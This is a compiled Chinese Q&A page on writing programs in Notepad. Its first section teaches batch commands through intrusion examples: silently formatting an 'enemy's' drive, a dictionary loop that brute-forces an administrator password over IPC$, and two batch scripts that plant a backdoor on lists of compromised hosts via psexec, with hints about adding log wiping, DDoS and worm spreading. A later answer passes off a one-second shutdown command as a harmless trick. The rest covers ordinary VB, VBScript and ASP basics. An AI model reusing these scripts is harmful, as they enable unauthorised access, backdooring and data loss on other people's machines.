記事本編程

Ⅰ 如何用記事本編寫些好玩的程序

你說的是批處理文件吧！！那你要先了解批處理所要用到的一些命令了。。。。。 一.簡單批處理內部命令簡介
1.Echo 命令
打開回顯或關閉請求回顯功能，或顯示消息。如果沒有任何參數，echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample：@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用> >> ^）結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。2.@ 命令
表示不顯示@後面的命令，在入侵過程中（例如使用批處理來格式化敵人的硬碟）自然不能讓對方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的，可喜的是微軟留了個autoset這個參數給我們，效果和/y是一樣的。)3.Goto 命令
指定跳轉到標簽，找到標簽後，程序將處理從下一行開始的命令。
語法：goto label （label是參數，指定所要轉向的批處理程序中的行。）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果這里的if、%1、%2你不明白的話，先跳過去，後面會有詳細的解釋。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標簽，goto命令就是根據這個：來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。4.Rem 命令
注釋命令，在C語言中相當與/*--------*/,它並不會被執行，只是起一個注釋的作用，便於別人閱讀和你自己日後修改。
Rem Message
Sample：@Rem Here is the description.5.Pause 命令
運行 Pause 命令時，將顯示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中，驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時，pause 命令會使程序掛起，以便您更換磁碟，然後按任意鍵繼續處理。6.Call 命令
從一個批處理程序調用另一個批處理程序，並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call，它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。7.start 命令
調用外部程序，所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數：
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時，CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行，該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元，從而運行不同的命令。使用時應該加/c:參數，c:後應寫提示可輸入的字元，之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （應先判斷數值最高的錯誤碼）
if errorlevel 2 goto mem
if errotlevel 1 goto end :defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye此文件運行後，將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ，然後if語句將作出判斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為end的程序段，每個程序段最後都以goto end將程序跳到end標號處，然後程序將顯示good bye，文件結束。9.If 命令if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串，則條件成立，運行命令，否則運行下一句。(注意是兩個等號）
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms2、if exist 文件名 待執行的命令
如果有指定的文件，則條件成立，運行命令，否則運行下一句。
如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字，則條件成立，運行命令，否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼為0、1。10.for 命令
for 命令是一個比較復雜的命令，主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時，指定變數請使用 %%variablefor {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的，所以 %i 不同於 %I如果命令擴展名被啟用，下列額外的 FOR 命令格式會受到
支持:FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符，則指定與目錄名匹配，而不與文件
名匹配。FOR /R [[drive:]path] %variable IN (set) DO command [command-檢查以 [drive:]path 為根的目錄樹，指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄，則使用當前
目錄。如果集僅為一個單點(.)字元，則枚舉該目錄樹。FOR /L %variable IN (start,step,end) DO command [command-para該集表示以增量形式從開始到結束的一個數字序列。
因此，(1,1,5) 將產生序列 1 2 3 4 5，(5,-1,1) 將產生
序列 (5 4 3 2 1)。FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command 或者，如果有 usebackq 選項:FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前，每份文件都已被打開、讀取並經過處理。
處理包括讀取文件，將其分成一行行的文字，然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式，/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號，
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command會分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將
每行中的第二個和第三個符號傳遞給 for 程序體；用逗號和/或
空格定界符號。請注意，這個 for 程序體的語句引用 %i 來
取得第二個符號，引用 %j 來取得第三個符號，引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名，您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號，您還需要使用 usebackq 選項，否則，雙引號會
被理解成是用作定義某個要分析的字元串的。%i 專門在 for 語句中得到說明，%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號，只要不試圖說明一個高於字母 'z' 或
'Z' 的變數。請記住，FOR 變數是單一字母、分大小寫和全局的；
同時不能有 52 個以上都在使用中。您還可以在相鄰字元串上使用 FOR /F 分析邏輯；方法是，
用單引號將括弧之間的 filenameset 括起來。這樣，該字元
串會被當作一個文件中的一個單一輸入行。最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行，傳遞到一個子 CMD.EXE，其輸出會被抓進
內存，並被當作文件分析。因此，以下例子:FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i會枚舉當前環境中的環境變數名稱。另外，FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:~I - 刪除任何引號(")，擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄，並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義，或者沒有找到文件，此組合鍵會擴充
空字元串可以組合修飾符來得到多重結果:%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄，並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀，而且避免與不分大小寫的組合鍵混淆。以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。sample2：利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接，當成功時記下密碼。
最主要的命令是一條：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼，在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，這樣就ko了。sample3：你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很郁悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任務。那麼如何實現呢？呵呵，看下去你就會明白了。主要命令也只有一條：（在批處理文件中使用 FOR 命令時，指定變數使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接，並木馬＋後門到victim，然後用返回碼（If errorlever =）來篩選成功種植後門的主機，並echo出來，或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列，一般就是 ip password username。
代碼雛形：
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形，兩個批處理和後門程序（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究. 二.如何在批處理文件中使用參數
批處理中可以使用參數，一般從1%到 9%這九個，當有多個參數時需要用shift來移動，這種情況並不多見，我們就不考慮它了。
sample1：fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤，所以用的時候需在dos窗口輸入fomat.bat a，呵呵,好像有點畫蛇添足了～^_^
sample2：
當我們要建立一個IPC$連接地時候總要輸入一大串命令，弄不好就打錯了，所以我們不如把一些固定命令寫入一個批處理，把肉雞地ip password username 當著參數來賦給這個批處理，這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦，這里PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧？你這么帥一定學會了^_^.No.3

Ⅱ 怎麼用記事本編程

跟我學做記事本-編程實例
用VB做一個記事本實在不很復雜，我們完全可以通過向導來很方便地做出來。但本文只打算討論用手動方法製作記事本，旨在向VB初學者展示：學VB原來是如此容易！
通過閱讀、研究本文並按本文所述進行嘗試，初學者將學到很多東西,如怎樣使用RichText控制項來打開和保存文件，怎樣製作菜單、工具欄和狀態欄以及如何對其編寫代碼等。

第一章 讓我們的記事本馬上運行

急於求成是初學者共有的心願。那好，請按如下三個步驟做，我們的願望立即就可以實現！

步驟一：繪制界面。

新建一個標准EXE工程，將其Caption屬性改為「超級記事本」，點擊Icon屬性給它找個合適的Icon圖標。單擊菜單「工程」-「部件」，在彈出的「部件」對話框里找到Microsoft

RichText Box 6.0和公共對話框Microsoft Common Dialog 6.0並選中它們，單擊「確定」按鈕。這時左邊的工具欄上出現了我們剛才新添的兩個控制項了。在窗體上繪制RichText

Box和Commn Dialog，其中RichText Box的大小和位置可不用理睬，我們將在代碼中處理它，當然，有必要把它的ScrollBar屬性設為2-rtfVertical，這樣在打開和編輯文件時垂直滾動條才可用。

步驟二：編輯菜單。

按Ctrl+E調出菜單編輯器，我們來做如下幾個菜單：

一.文件菜單：

文件（第一層） mnuFile

新建（第二層） mnuNew

打開（第二層） mnuOpen

保存（第二層） mnuSave

- （第二層） mnuFileSep (分隔線）

退出（第二層） mnuExit

二.編輯菜單：

編輯（第一層） mnuEdit

復制（第二層） mnuCopy

剪切（第二層） mnuCut

粘貼（第二層） mnuPaste

- （第二層） mnuEditSep （分隔線）

全選（第二層） mnuSelecAll

三.搜索菜單：

搜索（第一層） mnuSearch

查找（第二層） mnuFind

查找下一個（第二層） mnuFindOn

四.幫助菜單：

幫助（第一層） mnuHelp

使用說明（第二層） mnuUsage

關於（第二層） mnuAbout

(註：各菜單項的快捷鍵請自行設置)

好了，其它的菜單項以後再根據需要添加。現在進入：

步驟三：編寫代碼。

'聲明查找變數

Dim sFind As String

'聲明文件類型

Dim FileType, FiType As String

'初始化程序

Private Sub Form_Load()

'設置程序啟動時的大小

Me.Height = 6000

Me.Width = 9000

End Sub

'設置編輯框的位置和大小

Private Sub Form_Resize()

On Error Resume Next '出錯處理

RichTextBox1.Top=20

RichTextBox1.Left=20

RichTextBox1.Height = ScaleHeight-40

RichTextBox1.Width = ScaleWidth-40

End Sub

'新建文件

Private Sub mnuNew_Click()

RichTextBox1.Text = "" '清空文本框

FileName = "未命名"

Me.Caption = FileName

End Sub

'打開文件

Private Sub mnuOpen_Click()

CommonDialog1.Filter = "文本文檔(*.txt)|*.txt|RTF文檔(*.rtf)|*.rtf|所有文件(*.*)|*.*"

CommonDialog1.ShowOpen

RichTextBox1.Text = "" '清空文本框

FileName = CommonDialog1.FileName

RichTextBox1.LoadFile FileName

Me.Caption = "超級記事本：" & FileName

End Sub

'保存文件

Private Sub mnuSave_Click()

CommonDialog1.Filter = "文本文檔(*.txt)|*.txt|RTF文檔(*.rtf)|*.rtf|所有文件(*.*)|*.*"

CommonDialog1.ShowSave

FileType = CommonDialog1.FileTitle

FiType = LCase(Right(FileType, 3))

FileName = CommonDialog1.FileName

Select Case FiType

Case "txt"

RichTextBox1.SaveFile FileName, rtfText

Case "rtf"

RichTextBox1.SaveFile FileName, rtfRTF

Case "*.*"

RichTextBox1.SaveFile FileName

End Select

Me.Caption = "超級記事本：" & FileName

End Sub

'退出

Private Sub mnuExit_Click()

End

End Sub

'復制

Private Sub mnuCopy_Click()

Clipboard.Clear

Clipboard.SetText RichTextBox1.SelText

End Sub

'剪切

Private Sub mnuCut_Click()

Clipboard.Clear

Clipboard.SetText RichTextBox1.SelText

RichTextBox1.SelText = ""

End Sub

'全選

Private Sub mnuSelectAll_Click()

RichTextBox1.SelStart = 0

RichTextBox1.SelLength = Len(RichTextBox1.Text)

End Sub

'粘貼

Private Sub mnuPaste_Click()

RichTextBox1.SelText = Clipboard.GetText

End Sub

'查找

Private Sub mnuFind_Click()

sFind = InputBox("請輸入要查找的字、詞：", "查找內容",

sFind)

RichTextBox1.Find sFind

End Sub

'繼續查找

Private Sub mnuFindOn_Click()

RichTextBox1.SelStart = RichTextBox1.SelStart + RichTextBox1.SelLength + 1

RichTextBox1.Find sFind, , Len(RichTextBox1)

End Sub

'使用說明

Private Sub mnuReadme_Click()

On Error GoTo handler

RichTextBox1.LoadFile "Readme.txt", rtfText '請寫好Readme.txt文件並存入程序所在文件夾中

Me.Caption = "超級記事本：" & "使用說明"

Exit Sub

handler:

MsgBox "使用說明文檔可能已經被移除，請與作者聯系。",

vbOKOnly, " 錯誤信息"

End Sub

'關於

Private Sub mnuAbout_Click()

MsgBox "超級記事本 Ver1.0 版權所有(C) 2001 土人",vbOKOnly,"關於"

End Sub

'設置彈出式菜單（即在編輯框中單擊滑鼠右鍵時彈出的動態菜單）

Private Sub RichTextBox1_MouseDown(Button As Integer, Shift As Integer, X As

Single, Y As Single)

If Button = 2 Then

PopupMenu mnuEdit, vbPopupMenuLeftAlign

Else

Exit Sub

End If

End Sub

'防止在切換輸入法時字體自變(感謝王必成先生提供此方案)

Private Sub RichTextBox1_KeyUp(KeyCode As Integer, Shift As Integer)

If KeyCode = vbKeySpace Then

RichTextBox1.SelFontName = CommonDialog1.FontName

End If

End Sub

至此，我們的記事本可以編譯使用了。點擊菜單「文件」-「生成XXX.EXE」，回到桌面運行我們的記事本看看，是不是頗有成就感？

當然，這樣的記事本還比較粗糙,我們還需要做些工作，請看下一章。

第二章 美化程序界面

多數字處理軟體都有工具欄和狀態欄。工具欄和狀態欄除了能美化我們的程序使其更具有專業性質外，還給用戶帶來操作上的便利。現在我們就來做一做這兩樣東西。

一.工具欄

(一)製作工具欄

單擊「工程」-「部件」，選中Microsoft Windows Common Control 6.0並確定。這時，我們要用到的控制項就出現在左邊的工具欄上了。

要做工具欄，首先需要一個叫ImageList的控制項來裝載圖像。在程序界面上添加它，然後右鍵單擊此控制項，左鍵單擊「屬性」，彈出「屬性頁」對話框的「圖像」，再單擊「插入圖片」就可以一次性裝載圖片了（如不滿意，以後還可以添加）。圖片可在C:Microsoft

Visual _W95下選擇(這里假設你的VB安裝在C盤下)。注意了：在插入圖片時給每一張圖片註明關鍵字，以便在引用圖片時不至於混亂。如插入「新建」的圖片，我們在「關鍵字」欄註明「New」。

圖片有了，接下來在程序界面添加工具欄(ToolBar)。添加後工具欄就出現在菜單下面，右鍵單擊它，選擇「屬性」，在彈出的「屬性頁」對話框中的「通用」項作些設置，主要如下兩項：

1.「圖像列表」：選擇ImageList1

2.「樣式」：根據喜愛選擇1-trbStandard或者2-trbFlat

繼續點擊「屬性頁」的「按鈕」選項，插入若干按鈕。按鈕有多種樣式，請根據需要設置。這里請一定注意：每一個與用戶操作有關的按鈕都必須註明關鍵字、裝載圖片，如「新建」按鈕，在「關鍵字」項註明「新建」，在「圖像」項鍵入「New」（即ImageList1中的圖片關鍵字）,需要的話還可以在「工具提示文本」項填入適當的提示語。

(二)編寫工具欄的按鈕代碼

工具欄按鈕的代碼編輯很簡單，可以按照下面的格式去編寫：

Private Sub ToolBar1_ButtonClick(ByVal Button As MSComctlLib.Button)

On Error Resume Next '出錯處理

Select Case Button.Key '按關鍵字選擇

Case "新建"

mnuNew_Click '等於菜單項「新建」被單擊

Case "打開" '等於菜單項「打開」被單擊

mnuOpen_Click

'......(繼續編寫其它按鈕的代碼)

End Select

End Sub

完成後試運行一下我們的程序，我們發現，有了工具欄之後，程序變得漂亮多了，只是有一個問題：打開一個較長的文檔後，編輯框的下拉滾動條向上的箭頭不見了。原因是：工具條佔用一定的空間。解決方法：將「設置編輯框的位置和大小」中的RichTextBox1.Top

= 20 和 RichTextBox1.Height = Me.ScaleHeight - 40分別改為RichTextBox1.Top =

380，RichTextBox1.Height = Me.ScaleHeight - 400即可。

二.狀態欄

(一)製作狀態欄

狀態欄的英文名字叫StatusBar，在窗體上添加它後會默認出現在窗體的最下方。用滑鼠右鍵點擊它，調出「屬性頁」對話框，單擊「窗格」項，插入一些窗格，可以將各個窗格的「樣式」設置為：

0-sbrText 顯示文本，需編寫代碼

1-sbrCaps 顯示大小寫狀態，無需編程

2-sbrNum 顯示NumLock鍵開關狀態，無需編程

3-sbrIns 顯示Insert鍵狀態，無需編程

4-sbrScr1

5-sbrTime 顯示時間，不編程時時間不會隨系統時鍾變化

6-sbrDate 顯示日期，無需編程

注意：加進狀態欄後需將Form_Resze中的RichTextBox1.Height =

Me.ScaleHeight - 400改為RichTextBox1.Height = Me.ScaleHeight - 600。

(二)狀態欄根據其「樣式」屬性決定用不用編寫代碼(如上文所述)。下面舉些例子，讀者可以認真揣摩，從而達到舉一反三的效果。

例一：用戶選取了「新建」後，讓第一個窗格顯示：「目前狀態：正在打開文件《……》」。請將下面代碼寫進「打開」菜單裡面：

StatusBar1.Panels(1).Text = "目前狀態：正在打開文件"

& "《" &CommonDialog1.FileTitle & "》"

例二：讓第三個窗格顯示時間並讓時間跟隨系統時鍾變化。

首先，給程序加一個Timer控制項，將其Interval屬性設為1000。然後：

在Form_Load過程加入：StatusBar1.Panels(1).Text = Time；然後給Timer控制項編寫代碼：

Private Sub Timer1_Timer()

If StatusBar1.Panels(3).Text > CStr(Time) Then

StatusBar1.Panels(3).Text = Time

End If

End Sub

例三：當編輯框的文本發生變化時讓第一個窗格顯示：「正在編輯文檔：文件名」。

Private Sub RichTextBox1_Chang()

StatusBar1.Panels(1).Text = "正在編輯文檔：" &

CommonDialog1.FileName

End Sub

辛苦了那麼久，我們現在已經擁有一個象模象樣的記事本了。這個記事本由於用了RichText控制項，理論上它能打開和編輯任意大的文檔，使用起來的確比Windows自帶的記事本方便得多。當然，還有一些其它的功能需要添加和完善，這就靠你慢慢去完成了。

Ⅲ 用"記事本"可以編程嗎

記事本可以用於一些腳本語言的編程，以vba語言為例，實例如下：

1、啟動記事本，編輯以下代碼：

dim a,b,s

a=inputbox("請輸入矩形的長:")

b=inputbox("請輸入矩形的寬:")

s=a*b

msgbox "矩形的面積為" & s

2、點擊文件菜單另存為命令，輸入文件名1.vbs，保存類型選擇所有文件，點擊保存；

Ⅳ 用記事本編寫程序的方法

用舉例了，就像在編程軟體環境下一樣，只不過在檢測或者完成時，「改後綴」，把它改成標准程序後綴，有什麼問題時再改成TXT後綴繼續編寫

Ⅳ 電腦自帶的記事本怎麼用來編程

那要看看你編寫的是什麼程序了。舉個例子來說吧，我現在要編寫一個C++程序。就把代碼寫在記事本上，然後保存為.CPP文件就可以了；不過要注意的是你電腦上必須要安裝能夠識別.CPP文件的編譯程序(就是C語言編譯器啦)；把寫好的.CPP文件導入到編譯程序就能夠編譯運行了....

Ⅵ 如何用記事本編程

別去考慮用「記事本編程」，個人理解，所謂的「記事本編程」，無非是指兩方面的意思：
其一，指所寫的程序非常簡單、也很短。比如一些腳本代碼、批處理代碼等，沒有很復雜的流程等，用記事本可以快速寫就的一些程序或代碼。
其二，說自己用「記事本編程」，顯示一下自己對某門語言的精通，根本不需要助記環境就能寫出來。
至於如何用記事本編程，很簡單了，打開記事本，在裡面寫上幾句程序（當然是指腳本程序，比如ASP等），保存並執行。
如：在記事本里寫上這么一行：
----------
現在是：<%=now%>
----------
保存為test.asp，然後放到IIS目錄下，從瀏覽器訪問，就能得到現在的時間。
這就是所謂的記事本編程，沒什麼神秘。
事實上，沒必要強調用記事本編程，每種語言都有各自最適合的開發編程環境，如VC/C++，VB等最合適的工具是VS6，.net最合適的工具是vs2005等。
對ASP、PHP等，因為語法不復雜，倒是經常用一些文本編輯器來寫代碼，比如EDITPLUS、ULTRAEDIT等，這些工具雖然沒有助記功能，但編輯功能非常強大，而且運行快速方便，倒近似於記事本編程的說法，只不過也絕非簡單的記事本。
呵呵~~~
胡諂這幾句：）

Ⅶ 記事本腳本編程怎麼編

很簡單，我給你一個很簡單的例子，用記事本做一個批處理腳本文件：新建個記事本，打開，輸入「shutdown -s -t 1」保存，然後你把這個文件的*.txt後綴改為*.bat後綴。你點擊下，很奇妙的事會發生。

Ⅷ 怎樣用記事本編程（最基礎的）

是用記事本寫代碼吧。不管用什麼寫代碼都是一樣的，用記事本寫的話，保存的時候要選擇「另存為」，在保存類型處選擇「所有類型」，在文件名處寫「文件名.html」。這樣就行了。。
不知道你問的是不是這個。

Ⅸ 記事本怎樣編程序

只能編寫簡單的東西，根據你要製作的東西，輸入正確的語言，更改擴展名即可。但是這限於很簡單的，類似REG注冊表導入臨時文件之類的

Ⅹ 記事本編程用的是什麼語言（windows 自帶的那種）

你可以用反匯編工具查看Windows下的記事本是用什麼工具編寫的
一般來說是VC吧
你自己也可以編一個，完成讀寫文件的功能即可